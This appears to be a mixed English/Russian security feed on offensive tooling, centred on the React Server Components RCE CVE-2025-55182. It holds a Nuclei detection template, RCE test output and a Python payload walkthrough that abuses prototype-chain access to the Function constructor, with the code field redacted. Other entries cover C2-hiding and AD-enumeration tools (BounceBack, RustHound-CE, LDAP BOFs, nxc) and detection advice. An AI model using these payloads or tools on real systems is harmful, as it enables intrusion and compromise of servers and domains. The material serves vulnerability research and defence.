Python and BOF utilites to the determine EPA enforcement levels of popular NTLM relay targets from the offensive perspective

BounceBack is a powerful, highly customizable and configurable reverse proxy with WAF functionality for hiding your C2/phishing/etc infrastructure from blue teams, sandboxes, scanners, etc. It uses real-time traffic analysis through various filters and their combinations to hide your tools from illegitimate visitors

react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js: 15.x, 16.x (App Router)

=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

id: CVE-2025-55182

info:
  name: React Server Components RCE - CVE-2025-55182
  author: sickwell
  severity: critical
  description: |
    Remote Code Execution vulnerability in React Server Components via react-server-dom-webpack.
    Missing hasOwnProperty check in requireModule allows prototype chain access to Node.js modules.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
    - https://github.com/ejpir/CVE-2025-55182-poc
  classification:
    cve-id: CVE-2025-55182
    cwe-id: CWE-20
  tags: cve,cve2025,rce,react,server-components,nodejs

variables:
  boundary: "----NucleiBoundary{{randstr}}"
  math_code: "Math.PI * 2"
  expected_result: "6.283185307179586"

http:
  - method: POST
    path:
      - "{{BaseURL}}/formaction"
      - "{{BaseURL}}/api/formaction"
      - "{{BaseURL}}/api/v1/login"
      - "{{BaseURL}}/actions"
      - "{{BaseURL}}/server-actions"
    
    headers:
      Content-Type: "multipart/form-data; boundary={{boundary}}"
      User-Agent: "Nuclei - CVE-2025-55182"
    
    body: |
      --{{boundary}}
      Content-Disposition: form-data; name="$ACTION_REF_0"

      --{{boundary}}
      Content-Disposition: form-data; name="$ACTION_0:0"

      {"id":"vm#runInThisContext","bound":["{{math_code}}"]}
      --{{boundary}}--

    extractors:
      - type: regex
        name: vulnerable_path
        part: url
        regex:
          - '(/(?:formaction|api/formaction|api/v1/login|actions|server-actions))'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success")'
          - 'contains(body, "result")'
          - 'contains(body, "{{expected_result}}")'
        condition: and

    matchers-condition: and

С помощью нагрузки вроде "$1:__proto__:constructor:constructor" можно получить [Function: Function] — глобальный конструктор;

Соответственно, можем сформировать специальный объект, где then указывал бы на Function.

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"███████████████████;",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

▪️"then": "$1:__proto__:then"
➡️ чтобы чанк ID=0 переписал собственный .then();

▪️"status": "resolved_model"
➡️ чтобы Chunk.prototype.then перешёл к выполнению initializeModelChunk;

▪️"reason": -1
➡️ чтобы не упасть на моменте toString в initializeModelChunk;

▪️"value": '{"then": "$B0"}'
➡️ чтобы после второго прохода десериализации превратить в thenable и добраться до response._formData.get(response._prefix + obj);

▪️"_prefix"
➡️ здесь произвольный код для выполнения;

▪️"_formData"
➡️ здесь указываем на конструктор;

Уязвимые версии: от React 19 до React 19.2.0
Починили в React 19.2.1

Починили тут: facebook/react/commit/7dc903cd29dac55efb4424853fd0442fef3a8700
Объявили тут: react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

Уязвимые версии: от Next.js 15 до Next.js 16
Починили в этих версиях

Починили тут: vercel/next.js/commit/6ef90ef49fd32171150b6f81d14708aa54cd07b2
Объявили тут: nextjs.org/blog/CVE-2025-66478

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"█████████████;","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

CVE-2025-55182 is a critical Remote Code Execution (RCE) vulnerability in React Server Components (RSC) affecting Next.js applications using App Router with Server Actions

The vulnerability exists in the Flight protocol deserialization process, allowing attackers to achieve arbitrary code execution through prototype pollution

use multi/http/react2shell_cve_2025_55102

Cross-platform and cross-compiled BloodHound collector tool written in Rust, making it compatible with Linux, Windows, and macOS. It therefore generates all the JSON files that can be analyzed by BloodHound Community Edition

# Install from cargo
cargo install rusthound-ce

rusthound-ce -i 192.168.1.10 -d domain.local -u [email protected] -p 'pass' -z

40+ BOF commands
LDAPS support (port 636) with automatic certificate acceptance
Standard LDAP (port 389) with signing and sealing
Automatic DN/username detection for flexible targeting
Adaptix C2 integration via AxScript

git clone https://github.com/P0142/ldap-bof-collection.git
cd ldap-bof-collection
make

AxScript tab -> Script Manager -> Right click, Load New (ldap.axs)

Akamai researchers analyzed Microsoft’s patch for the vulnerability known as BadSuccessor (CVE-2025-53779) to assess its effectiveness

System access control lists (SACLs): Audit the creation of dMSAs and changes to the migration link attributes on both sides — the dMSA’s link and the superseded/preceding account’s link

Repeated log entries indicating a dMSA password has been fetched in a short window
An enabled user appearing to be linked to a dMSA (should be unusual)
A previously disabled user getting linked to a new dMSA

BloodSOCer is a 💻 Python automation tool that aggregates threat intelligence data from multiple sources (Mitre ATT&CK, Sigma rules, Atomic Red Team) and produces JSON files to ingest in BloodHound in OpenGraph format. Tool can also upload the files to BloodHound and set the icons for the custom objects if it has API Tokens defined in the configuration. Security analysts can then visualize the data from any angle, and a few Cypher queries are provided to help you get started

nxc smb dc.domain.local  -d domain.local -u 'user' -p 'pass' -M check-add-computer